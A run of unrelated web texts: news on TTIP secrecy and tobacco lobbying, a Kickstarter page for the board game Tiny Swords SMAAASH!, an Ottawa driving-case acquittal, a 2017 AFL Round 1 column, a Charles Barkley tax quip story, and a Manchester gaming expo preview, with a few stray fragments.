“The TUC believes there is no place for such ISDS provisions in any trade agreement. A level playing field means the same arrangements for foreign investors as for workers, consumers and other stakeholders. EU trade negotiators must operate on the principle that their negotiations should be public unless there is a good reason for confidentiality. Sadly, they seem more wedded to keeping this secret unless they are forced into the open.”
Labour leadership candidate Andy Burnham told The Independent he would give “no guarantee of support” for the TTIP deal if he was elected.
He said: “The alarming lack of transparency in the TTIP negotiations has damaged public confidence in the entire process. In particular, the involvement of big tobacco in those discussions raises serious concerns and appears to go against commitments under the World Health Organisation's Framework Convention on Tobacco Control not to include tobacco companies in policy discussions. There must be a full and open public debate about its merits and challenges before any decision is made.”
The European Union claims a number of “myths and false claims” have been made about TTIP including one that “big business is calling the shots on TTIP”.
In a briefing document on “the top 10 myths of TTIP: separating fact from fiction” the European Commission says: “The TTIP talks are the most open ever for a trade deal and our negotiators are consulting widely.”
That claim was dismissed as “laughable” by campaigners last night. Blanche Jones, Campaigns Director at political activist group 38 Degrees, said: “These redacted documents prove that the officials behind TTIP, a deal that will affect millions of people, are laughing in the face of democracy. What use is a document with almost all of the words blacked out? It must be suspicious to keep it so secret.
“Leaks to the TTIP text so far have revealed huge dangers for our rights, our public services and our environmental protections. 38 Degrees members are calling on the European Commission to end this nonsense now - the public has a right to know what powers big businesses are lined up to get.”
Labour MEP and European health spokesperson Glenis Willmott said: “I’m deeply concerned that the Commission is not prepared to give further details on its dealings with the tobacco industry. The Commission’s reply states that the public interest in transparency does not outweigh the commercial interests of the companies in question. Yet there is a fundamental conflict between the public interest and commercial interests of the tobacco industry, which rely on the promotion of a product that is the leading cause of preventable death and disease in Europe.
“Given the importance of strong tobacco control policies in protecting public health, I think it’s entirely reasonable for the public to have an interest in tobacco industry lobbying on TTIP.”
Although MEPs cannot start or stop trade talks the European Parliament can approve or reject TTIP once negotiations, set to continue beyond 2016, are concluded.
A spokesperson for British American Tobacco said: “The letters that were shared do not relate to any tobacco control measures nor do they attempt to influence tobacco control regulations; but rather contain commercially-sensitive information relevant to the Commission’s various negotiations regarding free trade agreements.
"Commission officials have the right to hear all views that impact the whole of the EU business community when formulating new trade agreements. We advocate transparency in all of our communications where it does not conflict with commercial confidentiality and sensitivities, and believe that all sides should adopt this approach."
We’ll tell you what’s true. You can form your own view.
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Tiny Swords SMAAASH! is a cute and chaotic board game for 2-4 players. Inspired in equal parts by Earthbound, Super Smash Bros, and tile-sliding puzzle games, players lead their team of monsters into battle to kick their opponents off the board and out of the game! Like in Smash Bros, characters are trying to ring out their opponents and fly farther away each time they're hit. When tiles are face-up, they can move and fight, but can also be shoved around by other players, causing the whole game to change shape quickly. Keep your monsters on the board and be the last one standing!
Tiny Swords SMAAASH! is a spinoff of my first Kickstarter, the original Tiny Swords card game. Right after that first Kickstarter ended in 2015, I started thinking about all kinds of new games I could set in the same universe. Since then I've been working on this new game nonstop. Tiny Swords SMAAASH! is just the first of many many Tiny Swords games, all with unique mechanics sharing the same characters and cutesy style.
SMAAASH! was originally Kickstarted back in 2016 as Tiny Swords Tactics. Even though that campaign didn't achieve full funding, enough people loved the game that I decided to give it another shot. The name has changed, but the game is the same and as fun as ever. I've spent more time polishing it based on everyone's feedback, and now I need your help to get it printed!
GAME FEATURES
Fast-paced madcap strategy for all ages! Flip, slide, and SMAAASH on a dynamic ever-changing battlefield
for all ages! Flip, slide, and SMAAASH on a dynamic ever-changing battlefield Captain Powers like Polly Geist's Jumpscare and Moby Turf's Tidal Wave give advanced players new ways to fight
like Polly Geist's Jumpscare and Moby Turf's Tidal Wave give advanced players new ways to fight Block Tiles offer drop-in/drop-out rules so nobody is left out of game night. Everyone can play til the very end!
With the Tiny Swords Tablecloth (sold separately) you can use your whole table to play the game! Every table is a new stage for fighting!
(sold separately) you can use your whole table to play the game! Full color manual full of cute illustrations to help you get started playing right away! (You can read it by clicking here)
Reviews and Previews
"Very quick to teach and very engaging... everyone I played this with enjoyed it probably more than any other Kickstarter project" -The Board Game Vault
everyone I played this with -The Board Game Vault "The combination of some simple rules makes for a much more complex and dynamic game than the art and rules might lead you to believe." -The Indie Game Report
makes for a much more than the art and rules might lead you to believe." -The Indie Game Report "If you like battle games and cute artwork, Tiny Swords [SMAAASH!] is worth checking out. " -GeekDad
" -GeekDad "Think of four way chess. Now think of four way chess where the battles aren’t as easy as rook takes pawn. Now add in fun retro 16 bit graphics." -Spaghetti and Meeples
One of many many playtests of Tiny Swords SMAAASH!
In Tiny Swords SMAAASH! each player leads a team of monsters into battle. Each team has a different theme (Spooky, Sweet, Mermaid, and Moon) and a unique Captain. All teams are fighting over the Heart of the Battle, a trophy meant only for the boldest of warriors. The last team on the table wins the Heart and wins the game!
On their turn, players take Actions with their team. There are three kinds of Actions:
MOVE - Slide your face-up tile around the table, pushing all the face-up tiles in your way
- Slide your face-up tile around the table, pushing all the face-up tiles in your way FLIP - Turn one of your tiles face-up or face-down. Face-down tiles create walls that can't be moved or attacked by other players
- Turn one of your tiles face-up or face-down. Face-down tiles create walls that can't be moved or attacked by other players SMAAASH!- Attack another face-up tile and push them away from you. This pushes all of the face-up tiles next to them too. The more times you attack a tile, the farther they fly! If your monster's Rock Paper Scissors Type beats your opponent's, you do DOUBLE DAMAGE!
These three Actions are quick to learn and combine in fun and surprising ways. This ensures Tiny Swords SMAAASH! remains easy to pick up and hard to master.
Advanced players can dig into each team's special abilities to amp up their game. Every team Captain has two different abilities that affect themselves, their teammates, or even other players' teams!
Polly Geist (Spooky) - Walk through walls and jumpscare your foes out of hiding!
- Walk through walls and jumpscare your foes out of hiding! Moby Turf (Mermaid) - Use your tiles to make a splash and change the flow of the game!
- Use your tiles to make a splash and change the flow of the game! Marsha Latte (Sweet) - Swap places with friend and foe alike!
- Swap places with friend and foe alike! Luna Umbra (Moon)- Choose who you give a speed boost! This affects ALL teams!
Even when a player loses all their tiles, they can stay in the game! They can use special Block Tiles to mess with the remaining players and create new obstacles for them to overcome. Eliminated players can use the Blocks together to get revenge from beyond the grave. The farther the game gets, the more chaotic the board becomes!
Block Tiles use simpler rules than the main game, so even young or casual players can join in on the fun and drop in and out as they please.
(Just in case the pic doesn't work, try clicking this link: http://imgur.com/a/2I9JC)
2 Heart of the Battle tiles
4 teams of 6 tiles apiece (Spooky, Sweet, Mermaid, and Moon)
4 double-sided reference cards (1 for each team)
32 Damage Tokens
8 Action Tokens
8 Moon Tokens (Special for the Moon team player!)
18" Square Quad-fold Game Board
4 Block Tiles
Full-Color Game Manual
SMAAASH! Print and Play Version and Thank You- A PDF version of the board game you can print and assemble for yourself. Everyone who gets this reward will also have their name in a special Thank You section in the SMAAASH! PDF.
A PDF version of the board game you can print and assemble for yourself. Everyone who gets this reward will also have their name in a special Thank You section in the SMAAASH! PDF. SMAAASH! Game- The complete boxed game, including all stretch goal expansions, at a 25% discount.
The complete boxed game, including all stretch goal expansions, at a 25% discount. Monster Charms - 1" white acrylic charms of monsters from Tiny Swords SMAAASH! Choose from Sweet Slime, Spooky Knight, Moon Dreamer, and Mermaid Surfer!
- 1" white acrylic charms of monsters from Tiny Swords SMAAASH! Choose from Sweet Slime, Spooky Knight, Moon Dreamer, and Mermaid Surfer! Captain Charms- special 1.5" glittery charms of the 4 Captains from Tiny Swords SMAAASH! Choose from Marsha Latte, Polly Geist, Luna Umbra, and Moby Turf!
special 1.5" glittery charms of the 4 Captains from Tiny Swords SMAAASH! Choose from Marsha Latte, Polly Geist, Luna Umbra, and Moby Turf! BONUS Tiny Swords Card Game- The original cute and chaotic swordfighting game, at a special 30% discount!
The original cute and chaotic swordfighting game, at a special 30% discount! Spooky Knight Enamel Pin - 1.5" full-color pin of one of the most popular monsters from Tiny Swords SMAAASH!, ready to follow you wherever you go.
- 1.5" full-color pin of one of the most popular monsters from Tiny Swords SMAAASH!, ready to follow you wherever you go. SMAAASH! Tablecloth- comes in both Sr. (~54" x 36") and Jr. (~27" x 36") versions. Turn any table into a Tiny Swords SMAAASH! stage!
PLEASE NOTE: When ordering any charms, after the Kickstarter ends you will be asked in a backer survey which specific charms you want to order. You can ask for duplicates or unique charms in any combination, as long as it does not exceed the number of charms you've purchased.
Want more stuff? Have specific order you'd like? Scroll down to the Add-On section at the end of the page!
$17k- Tiny Swords SMAAASH! is funded!
$17.5k We'll get to make an animated tutorial video for SMAAASH! Watch for free and learn how to play the game!
We'll get to make Watch for free and learn how to play the game! $18.5k- Bailey Ringwald's Circus team joins the battle!
joins the battle! $19k- Herman Schwartz's Clockwork team joins the battle!
team joins the battle! $20k - Nori Bancho's Sushi team AND Isaac Ishinomori's Robo team join the battle!
- join the battle! And STILL more to come!
Unlocking stretch goals will mean adding new teams to Tiny Swords SMAAASH! Each new team will have six tiles based off of a different Tiny Swords theme, and will be given FREE to every backer who backs at the Smashing Swordfighter tier and above. Each stretch goal team will have unique Captain Powers, changing the game in all kinds of weird and exciting ways! For example:
Bailey Ringwald (Circus)- Your Acrobatics keep your performers safe when teetering on the edge. Somersault the competition to swap places with a tile and kick them in the opposite direction!
Your Acrobatics keep your performers safe when teetering on the edge. Somersault the competition to swap places with a tile and kick them in the opposite direction! Herman Schwartz (Clockwork) - Upgrade your machines to make them faster, but be careful. Once they start moving, they can't stop!
- Upgrade your machines to make them faster, but be careful. Once they start moving, they can't stop! Nori Bancho (Sushi) - Use your Conveyer Belt to move multiple tiles at a time, but watch which way your tiles point!
- Use your Conveyer Belt to move multiple tiles at a time, but watch which way your tiles point! Isaac Ishinomori (Robo)- Wind up your monsters and let them loose on your foes. The more damage they take, the bigger the explosion!
Each stretch goal helps cover the production costs for printing and shipping the expansions. Any extra profits will go into development time, so that I can ensure each team is well balanced. The more teams that are added to the game, the more complicated this will get, and the longer it will take to playtest all of the possible combinations.
Tiny Swords SMAAASH! Production- $10k This covers the costs for the base game. Just like the first Tiny Swords game, this one will be printed through AdMagic.
This covers the costs for the base game. Just like the first Tiny Swords game, this one will be printed through AdMagic. Shipping Materials- $3k This covers costs for boxes, bubble wrap, and other supplies needed to get backer rewards delivered safely. It also covers postage which allows me to keep the costs for shipping games relatively low, even internationally!
This covers costs for boxes, bubble wrap, and other supplies needed to get backer rewards delivered safely. It also covers postage which allows me to keep the costs for shipping games relatively low, even internationally! Rewards Production - $2.3k This will cover the production costs for the various backer rewards. This includes the charms, pins, tablecloths, etc.
- This will cover the production costs for the various backer rewards. This includes the charms, pins, tablecloths, etc. Kickstarter Fees- $1.7k This will cover the estimated 10% taken by Kickstarter and card processing fees when pledges are paid.
Me! No, really. When I say it's a game by Brian Wolf, I mean it's 100% Brian Wolf. The rules, art, packaging, everything is all me (though i had a lot of friends playtest). I'm so proud of how far Tiny Swords SMAAASH! has come, and I can't wait for you to see for yourself.
ADD-ONS
Maybe you want to get two copies of Tiny Swords SMAAASH! so you can play with 8 people at once, or you need to save some money but you REALLY really want all those charms. Pick the tier that's closest to the stuff you want, and then add the appropriate amounts below for the add-ons you want. When/if the Kickstarter successfully funds, you'll be asked if you paid for any add-ons. That's when you let me know which specific things you want. If you forget to leave a comment, or leave an incorrect amount, then I may not be able to give you those add-ons!
“That would be amazing, actually,” La Rue, 32, said during the police interview. “That would show everything. . . . That would show I didn’t run over her foot!”
In the police interview, La Rue vehemently denied ever running over the officer and this week a judge acquitted her on charges of dangerous driving, assaulting a police officer with a weapon and fleeing the scene.
It was July 17, 2013, just after 2 p.m. It was hot (28 C) and La Rue was stuck in traffic. There had been an accident earlier and Const. Chelsea Bull was directing traffic at the intersection of Fifth and Bronson Avenue. La Rue was three cars in line from the intersection on Fifth and started laying on the horn.
The constable came over and asked her what was wrong, then stood in front of the car. That’s when Const. Bull claimed the driver deliberately bumped into her knees, then backed up and ran over her left foot before speeding off. La Rue, however, maintained that she backed up and drove around the officer when traffic started moving again.
The traffic camera, positioned north on Bronson, didn’t capture the interaction between the motorist and police officer. The video does show La Rue’s car driving through the intersection at a normal rate of speed, and turning right to go north on Bronson.
The video also shows the constable going back to direct traffic for another 18 minutes.
The court heard that the constable wrote La Rue’s licence plate on her forearm and radioed dispatch but there was initially confusion over the actual plate. Const. Bull fully reported her claims an hour and a half later when she was back at the police station. It was at this time that the constable was told to go to a medical clinic, according to a Jan. 28 ruling by Judge John Waugh.
The medical report indicated that the officer’s knees were normal and she had a tender left foot.
In his ruling, the judge considered expert testimony from an Ottawa doctor with 40 years of experience, and noted “there is no objective medical evidence to support the Crown’s case, where one might suspect there should be.”
The passenger in La Rue’s front seat also testified at trial. Described by the judge as credible, the witness told court that La Rue was wrong to honk the horn out of frustration, but that she didn’t run into the officer, let alone twice.
The passenger testified that La Rue backed up and drove around the officer, at which time the officer, he said, lunged forward and struck the passenger’s side window as they drove toward the intersection.
The Crown did not cross-examine the witness about the police officer’s claim that she was deliberately hit twice by La Rue.
The Ottawa businesswoman is exploring all legal remedies, noting that she had to pay legal fees but the officer who made the claim did not.
Her lawyer, James Harbic, called the decision refreshing and said clients are often afraid a judge will believe the testimony of a police officer over their own.
gdimmock@ottawacitizen.com
Hit the jump for some closeups of the AR-15 as well as a couple of the other rifles, but be sure to check out the studio's website for closeups of them all.
The pursuit is happening in the middle of nowhere and even if the Empire maintains some kind of bounty hunter alert system, it would take a while for the hunters to get the signal, not be preoccupied with some other hunt, plot a course (avoiding the nearby asteroid field), dock with the Star Destroyer and make their way to the bridge. By this time, if the Falcon has escaped they really would be 'on the other side of the galaxy by now'.
These prohibitions are what has come to be known as the “Never on Sunday” policy, first adopted in 1893 by members of the Valley Hunt Club, originators of the annual winter floral pageant, and later its current producer, the Tournament of Roses Association, which took over the event in 1895, five years after it started.
A group of well-to-do businessmen from places like Indiana, Illinois, New York and Pennsylvania, the Valley Hunt Club started the event to show off the region’s warm and healthy winter weather to visitors. They enacted the “policy,” so the story goes, because marching bands and horse-drawn carriages traveling along Colorado Boulevard spooked horses tied up in front of Christian churches on or near Colorado Boulevard and disrupted services.
But perhaps there was more to it than just that. Adoption of such a rule might more accurately reflect the attitudes and character of the people of those times. Pasadena’s pioneering East Coast transplants were well acquainted with blue laws, or Sunday laws, which since the 1600s prohibited such things as alcohol use, commercial sales, sporting events and other physical activities (like parades) on Sundays. These types of laws were in effect in many states, with the exception of a few.
Most blue laws aimed to restrict some or all Sunday activities for religious reasons, and banning the sale of certain items, like cars, on specific days, like Thanksgiving, Christmas and New Year’s Day.
California has no blue laws on the books limiting the sale of beer, wine and spirits, which according to alcohollaws.org, can be sold at bars and over the counter seven days a week.
Pennsylvania was one of the initial states to enact such statutes, the first of those shortly after becoming a British colony. That particular 1682 law doesn’t touch on alcohol use, but prohibits most other activities, like hunting, shooting and working, with only “acts of necessity and charity exempt,” according to a story in the Harrisburg Patriot-News (pennlive.com). In 1933, the state overturned a blue law prohibiting sporting contests on Sundays, but more prohibitions were enacted in years to follow, such as one against playing pool, and another outlawing the showing of movies. It wasn’t until 2003 that Pennsylvania ended its own Never on Sunday law against alcohol sales, according to the Patriot-News.
Many of Pasadena’s founders were not only teetotalers, but also natives of Indiana, where blue laws that are even stricter than those in Pennsylvania are still in effect.
In fact, Pasadena was the first city in California to outright ban the sale of alcohol — and not just on Sunday. After incorporating in 1886, it was the only totally “dry” city in the state, followed two years later by South Pasadena, which as an unincorporated area near Pasadena attracted many of the purveyors of alcohol leaving town, according to a story appearing in the South Pasadena Journal on the city’s 100th birthday in March 1988.
At the first meeting of the newly formed board of South Pasadena trustees on March 8, 1888, “The first ordinance passed, after fixing time and place of future meetings, was Ordinance No. 4, which made it unlawful to establish or maintain a tippling house, dram shop, cellar, saloon, bar, barroom, sample room or other place where spirits, malt or mixed liquors were sold or given away,” writes Journal reporter Sally Clouse. “This ‘dry ordinance’ was an exact copy of Pasadena’s famous prohibition ordinance. Pasadena was California’s first bone dry city. South Pasadena was the second.”
Over the years, blue laws throughout the country have been repealed. Of course, Pasadena has changed as well, now home to some of Southern California’s hottest nightclubs and drinking establishments, most of which operate seven days a week. South Pasadena these days also has its fair share of popular places where alcohol flows freely.
It’s interesting to think that as the nation’s blue or Sunday laws have fallen out of favor, the Tournament of Roses still adheres to a club policy enacted more than a century ago, one not unlike a blue law in its attempt to accomplish a public goal, namely maintaining order, for religious purposes.
Pick your poison: Hawthorn are finished. Sydney’s youth policy has caught up with them. Carlton are going to finish 19th. High scoring football is back. Dustin Martin will win the Brownlow medal. The Giants are soft. Melbourne will finish in the top four. The Saints are still a year or two away. Travis Cloke is the recruit of the year. Port Adelaide are a lock for the finals. The new ruck rules are fantastic. The new ruck rules are terrible. Adelaide are the 2017 premiers. West Coast will be fine without Nic Nat. North Melbourne’s fast football will win them some games. Essendon’s comeback is real. Geelong have developed some depth. Fremantle are going to finish 20th. The Western Bulldogs and Collingwood will finish around the same spot on the ladder. So will Brisbane and Gold Coast, we just don’t know where yet.
You know, all of this could be true. Some of it will prove so. Events transpired across the weekend that mean it is all in play. The promise of 27 weeks of insanity was writ large throughout the summer, and Round 1 delivered it.
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The usual torrent of scorching hot takes has followed. To be sure, it is difficult to resist over-reacting to the first taste of premiership football in 172 days.
I can tell you all about that: I helped myself to a generous five full games and three partial games over the weekend.
The only morsel I missed was Port Adelaide’s surprise win over Sydney. The Swans scored 82 points which until Fremantle’s forward line forgot it was supposed to be “new look” looked set to be the lowest score of the round.
Is that a reliable read of where Sydney finds itself? My Football Take Radar (F-AKE-DAR) says ‘no’. The F-AKE-DAR gets a decent work out this time of year, as the football diaspora sorts signal from noise like a woodchipper might search for a needle in a haystack.
There is a time and place for more detailed analysis. Now is not the time, and this column is not the place. Instead, if you’ll indulge me, what follows is some internal dialogue, based on notes taken over the weekend, expound and debated.
[latest_videos_strip category=”afl” name=”AFL”]
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Will Melbourne be able to play the rest of the competition the way they played St Kilda?
The biggest football story of the weekend was Melbourne’s pantsing of a pace-heavy St Kilda.
The Saints stormed out of the 2017 gates with an intensity and pressure that became the hallmark of Alan Richardson’s strategy last season, with Melbourne struggling to keep up.
Richardson manufactured a spare man for most of the first quarter, once it became clear Melbourne were trying to play with express pace and long, high kicks inside 50.
Dylan Roberton was the man initially, gathering a ton of marks and dishing off to St Kilda’s fleet of runners.
Melbourne were winning the play at stoppages but were getting zero return. It resulted in a six-goal quarter, St Kilda opening up a 21-point lead.
From there, the adjustments came. Melbourne grabbed the game, got it on their terms, and played with St Kilda for the proceeding 90-odd minutes.
Melbourne were able to translate their dominance on the inside into more spread run as oppose to running in straight lines, moving the ball by foot with remarkable precision.
It shifted St Kilda’s defensive zone backwards and forwards, side to side, and allowed the Dees to get the ball into dangerous positions on the ground.
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From there, Melbourne could enter attacking 50 with a choice of short or long kicks to players on the lead, making St Kilda’s spare man redundant.
In the third, the Dees midfield got right on top, with second-year player Clayton Oliver running point at stoppages and dishing out to an endless wave of outside runners.
Jordan Lewis played the link man role, handballing left and right and setting the play with long kicks.
Nathan Jones relished the role of third man, gathering 35 touches and making great decisions.
The maligned Bernie Vince looked at home as an intercepting half back. Melbourne’s personnel meshed with coach Simon Goodwin’s game plan superbly.
At the three quarter time break, Melbourne had translated a 21-point deficit into a 34-point lead. In two quarters the Dees won the ball and kept it off the Saints to such an extent they engineered a nine-goal turnaround.
Over the course of the game, Melbourne won the time in possession battle by close to 16 minutes (the league average for Round 1 was six minutes). The preseason promise of efficient, clean football was met.
Perhaps the sole concern was the Saints managing to put up 90 points on just 43 inside 50s and despite holding on to the ball for only 44 minutes of game time.
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The whole AFL world was watching, and Melbourne laid the smack down on what in many quarters was a more fancied opponent. The Dees broke their 15 game losing streak against the Saints in the process. It was a finals-worthy performance.
F-AKE-DAR Assessment: Likely to be true
Hawthorn’s defensive half will be its Achilles heel
Another potentially significant result was Essendon’s comfortable victory over Hawthorn on Saturday night.
While the result itself was significant, it will be impossible to untangle the tangible from the intangible for a few weeks.
The sense of occasion surrounding the game, the noise of the crowd, make it an unusual game to pick apart.
The Dons were rampant, quick, and full of run, a renewed midfield group built on the back of some old stagers but more significantly a trio of relative youth.
Darcy Parish, Zach Merrett and Dyson Heppell will form the core of the Essendon midfield for the next ten years. On Saturday night they had 25, 37 and 34 disposals each. They were involved in six, 11 and 11 scores each. They won eight, 12 and 16 contested possessions each.
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Yes, Essendon have Jobe Watson and Brendon Goddard and James Kelly in supporting roles, but the weekend showed the younger guys are already the lead protagonists.
That pace was too much for Hawthorn and their veteran-heavy defence. This is the number one concern for the Hawks and coach Alastair Clarkson coming out of this game.
Hawthorn have made changes in their midfield and forward line in the offseason, but for the most part, their back six is exactly as it was in 2016: Grant Birchall, Josh Gibson, James Frawley and Ben Stratton are the core defenders.
There is some 770 games of AFL experience among that quartet. It showed on Saturday night, with the foursome traipsing about in cement shoes.
The Hawks looked powerless to stop the torrent of Essendon runners entering their defensive 50.
They were beaten on leads, beaten to ground balls, beaten in stationary one-on-one contests.
Essendon scored on 55 per cent of their inside 50 entries, 12 per cent more than the league average for Round 1 and 18 per cent more than the Hawks’ 2016 average.
Taylor Duryea was used as a small defender last year, and he was on the weekend. He recorded just seven pressure acts, according to AFL.com.au, and no tackles – woeful numbers for a small defender, particularly given much of the play was in his area of the ground.
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James Sicily looked trapped at sea without a boat, given the presence of the veteran foursome.
As above, it is almost impossible to untangle this particular game. But if as Cam Rose said yesterday the league has caught the need for speed in 2017, and it has, then this looms as a fatal issue for the Hawks, irrespective of how they go up the other end.
F-AKE-DAR Assessment: Danger! Danger Alastair Clarkson!
The competition is not emulating the Bulldogs’ handball-happy stylings
Prior to the season, all the talk was the handball was back in vouge. Cast aside during Hawthorn’s era of dominance, the Western Bulldogs bought it back in a big way.
Their 1.05 kick-to-handball ratio was second lowest in the competition, only beaten by the Paul Roos coached Demons.
The Western Bulldogs also won the 2016 premiership. AFL clubs tend to play follow the leader, and so it was to follow that handballs were set to soar across the competition.
Apparently not, at least not in the first round of the season. The league-wide average kick-to-handball ratio actually increased on last season, from 1.21 to 1.33 – on average, teams went precisely the opposite way of the Dogs.
Here’s each club’s ratio from the last round versus their 2016 season average.
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What’s going on? Just seven of the 18 clubs upped their use of the handball in Round 1, and only two of them significantly so (North Melbourne and St Kilda).
There were some big spikes in kicking across the competition: Adelaide had 1.7 kicks for every handball, up from 1.2, for example.
Of keen interest was the Dogs themselves, who recorded a kick-to-handball ratio of 1.39 in their victory over Collingwood, higher than seven other teams.
F-AKE-DAR Assessment: Kicking forever, handballs never
Geelong has found the depth it was missing for most of last season. But at what cost?
Geelong’s biggest off season challenge was to address the team’s reliance on a handful of highly credentialled players.
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Patrick Dangerfield, Joel Selwood, Tom Hawkins, Harry Taylor and Corey Enright were the Cats’ most influential players, and while most clubs have a handful of guys driving most of their output, the skew at Geelong was greater than most.
The team simply lacked depth.
It was laid bare in last year’s preliminary final. Dangerfield and Selwood touched the football 39 times each and kicked two goals; the other 20 players touched the ball an average of 14 times and kicked six goals between them.
The pair had half of the team’s clearances, more than a quarter of its contested possession wins, and laid a quarter of the tackles.
Sydney managed to snuff out the already meagre influence of the players not named Patrick and Joel and that was that.
This weekend, the Cats flexed their bottom-20 muscles. Selwood and Dangerfield had 28 and 24 touches, respectively, with Dangerfield in particular spending plenty of time inside Geelong’s forward 50 (as Fox Sports’ Dangercam delightfully revealed).
The maligned Mitch Duncan led the way with 30 touches, playing as a link man in transition and runner at stoppages.
Geelong’s half back line looked solid, eschewing the Enright-or-nothing stylings of last season.
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Zach Tuohy’s debut showed he’ll be a weapon off half-back, while Tom Ruggles didn’t start fires in the manner we’ve become used to. Jackson Thurlow made it through his first hit out in two years.
Lachie Henderson and Andrew Mackie formed an impressive intercept marking pair, although doubtlessly enabled by Fremantle’s woeful forward 50 entries.
Jordan Murdoch, George Horlin-Smith and Josh Cowan performed better than their opposite numbers at Fremantle, and while that sounds like a backhanded compliment, it isn’t.
The forward group was refreshingly multi-dimensional, Steve Motlop and Lincoln McCarthy kicked three goals each and provided an unpredictability that was missing last season. Nakia Cockatoo didn’t get much of the ball himself, but was lively and will improve.
In saying that, there are reasons to be wary.
All told, Fremantle’s dumpster fire of an offence was ultimately what separated the two teams. Geelong lost the inside 50 count by eight, and held the ball for a couple of minutes less than the Dockers.
Fremantle’s midfield was able to translate its on-paper strength (Aaron Sandilands, Nat Fyfe, Lachie Neale and Stephen Hill is a fearsome centre bounce combination) to a decisive victory through the middle.
If the Dockers had been more decisive with their forward movements, and played something resembling a 2017 offensive scheme, then the end margin would have been much closer than 42 points.
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This disjointedness was likely the result of the Dockers’ personnel. Fremantle’s team was populated by a number of players who hadn’t played together before.
Shane Kersten, Cam McCarthy, Joel Hamling and Bradley Hill were all wearing purple for the first time, while it was the first game Fyfe and Sandilands had played since the team began turning over a number of its veterans in the middle of last season. Plenty of those who survived were playing different roles.
The better performance of Geelong’s team as a collective should be welcomed. But let’s see how that holds up over the next month (Geelong play North Melbourne, Melbourne, Hawthorn, St Kilda and Collingwood in April) before making any grand pronouncements. For now, one game in, the signs were good.
…just get Harry Taylor out of the forward line, please.
F-AKE-DAR Assessment: Too soon to tell but the signs are good
And there’s more…
Adelaide looked immaculate and polished, and should sit well on top of any and all power rankings which have been produced in the days since their demolition of Greater Western Sydney.
That thin midfield you were worried about? It’s not so thin after all – perhaps Adelaide’s good run with injury in 2015 and 2016 simply concealed the makings of a strong list.
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The Giants, by contrast, looked out of place. The team clearly missed Stephen Coniglio’s influence through the middle, and didn’t have a clear option to turn to for a negative, accountable role.
It looked as though the football department overthought the match ups at the defensive end of the ground, going with a back six of tweeners instead of picking Nathan Wilson.
Adelaide Oval has been a tough assignment for most teams in recent years, but the manner in which GWS lost was a surprise.
After some early stutters, West Coast imposed their will on the running and gunning North Melbourne.
Their control of the aerial battle was the best of the weekend, albeit the Roos weren’t particularly interested in the high stuff.
By contrast, North have had a clear identity change in the off season – one that will stand them in good stead going forward.
Richmond and Collingwood and the Western Bulldogs and Carlton all played what feels like an eternity ago, and all had reasons to be positive about their respective performances. We see three of the four early doors this round so let’s save judgement on them for now.
The two Queensland sides played an entertaining game, and the only close run thing of the round.
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For about 20 minutes there were genuine fears for the coaching career of Rodney Eade writ large over social media, but to the players’ credit they came through in the second half of the game.
Tom Lynch threatened to win the game on his own in the last quarter, an ominous sign for the rest of the competition. Both teams showed they will be no pushover.
That’s it? I think that’s it. Everything we thought we knew about the 2017 AFL season was challenged over the weekend. All that preparation we did, those words we wrote and read, and numbers we crunched, it’s all gone up in smoke. Up is down. Down is left. Left is a banana.
F-AKE-DAR Assessment: It’s Round 1 you dolt, lighten up
'They say [the money is going to] trickle down,' Barkley said during TNT's 'Inside the NBA.' 'I'm going to trickle my fat a** down to the jewelry store and get me a new Rolex.'
An Alabama native and former Republican who supported Doug Jones's successful senate bid over accused pedophile Roy Moore in the recent special election, Barkley has been an outspoken critic of President Donald Trump and the G.O.P agenda in recent years.
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The 54-year-old Hall of Famer Charles Barkley: 'They say [the money is going to] trickle down. I'm going to trickle my fat a** down to the jewelry store and get me a new Rolex'
'Thank you Republicans,' Barkley laughed. 'I know I can always count on you to take care of us rich people, us one percenters.'
'Sorry poor people, I'm hoping for y'all,' he continued, 'but y'all ain't got no chance.'
Barkley was once an outspoken supporter of the G.O.P. in the 1990s, but has on numerous occasions explained that he changed his outlook when the Republicans 'lost their damn minds.'
The former Philadelphia 76ers, Phoenix Suns, and Houston Rockets star has also grown increasingly upset about the turmoil within his home state.
'At some point we have to stop looking like idiots to the nation,' Barkley said while campaigning for Jones.
He also took aim at Breitbart's Steve Bannon, who was campaigning for Moore.
'Only in Alabama could you send a white nationalist separatist who don't believe in race mixing to come to Alabama three times and get cheered at a Roy Moore rally,' Barkley said. 'That is crazy.'
Known as 'Sir Charles' and 'The Round Mound of Rebound,' Charles Barkley made a name for himself with the Philadelphia 76ers (right) before guiding the Phoenix Suns to the 1993 Finals
To Barkley, Moore's candidacy was an insult to the state of Alabama.
'Roy Moore was an embarrassment,' the former NBA MVP and two-time Olympic gold medalist told CNN. 'Hey listen, if any other man had eight women accusing him of sexual harassment, talking about how he really enjoyed slavery, he thinks people who are homosexual should go to jail, they wouldn't have even been in this election.
'I've been so lucky and blessed, but this is one of the greatest nights of my life,' he continued, referring to Jones's win. 'I'm so proud of my state for rising up and doing the right thing.
'We can't have that idiot representing us in the senate, and I'm just so proud of Doug and everybody who worked with him... I'm really just proud of the people of Alabama. They've been beat down for so long. They've been kept in a little box. They rose up tonight and I'm so proud of them.'
Barkley first starred at Auburn where he was named the SEC Player of the Year in 1984 and where his No. 34 was ultimately retired.
He was taken fifth overall by the Philadelphia 76ers in the 1984 NBA Draft behind Hakeem Olajuwon, Sam Bowie, Michael Jordan and Sam Perkins.
Around 10,000 gamers will swarm Event City this weekend for the biggest Play Expo event yet.
The expo offers gamers the chance to try out some of the latest games and hardware, meet the developers of some of their favourite games, and enjoy some classic arcade and pinball machines.
There’s even a chance to meet Manchester’s very own celebrity YouTube gamer Tom Cassell – AKA Syndicate – on Saturday.
He won’t be the only familiar face on hand, though, as this year a host of stars of TV and film are lined up to attend.
Corrie star Craig Charles along with his Red Dwarf co-star Chris Barrie, David Prowse and Kenny Baker from Star Wars, and the Iron Throne itself from Game of Thrones will all be making appearances.
But if this event is about anything it’s about games, and there will be plenty of that on offer, too.
100 PlayStation 4s will be running the latest games for visitors to try, and 33 games from indie developers will be one show.
Some of the developers, including Cinemaware (which is on the brink of bringing its classic game Wings back to life – and you can play it, as well as a new never-before-seen title in development) and Team 17 will be giving talks followed by a Q & A.
There’s a real local flavour to one of the exhibits – Manchester developer Pixel Bomb Games will be showing off a playable demo of its new third-person shooter Beyond Flesh and Blood.
The game is set entirely in a future, dystopian Manchester. This will be the first time you’ll be able to try out the game ahead of its release on PC via Steam later this year. Xbox One and PS4 versions of the game are slated in for release next year. Look for Pixel Bomb in the Indie Zone at the event in the Now Play section.
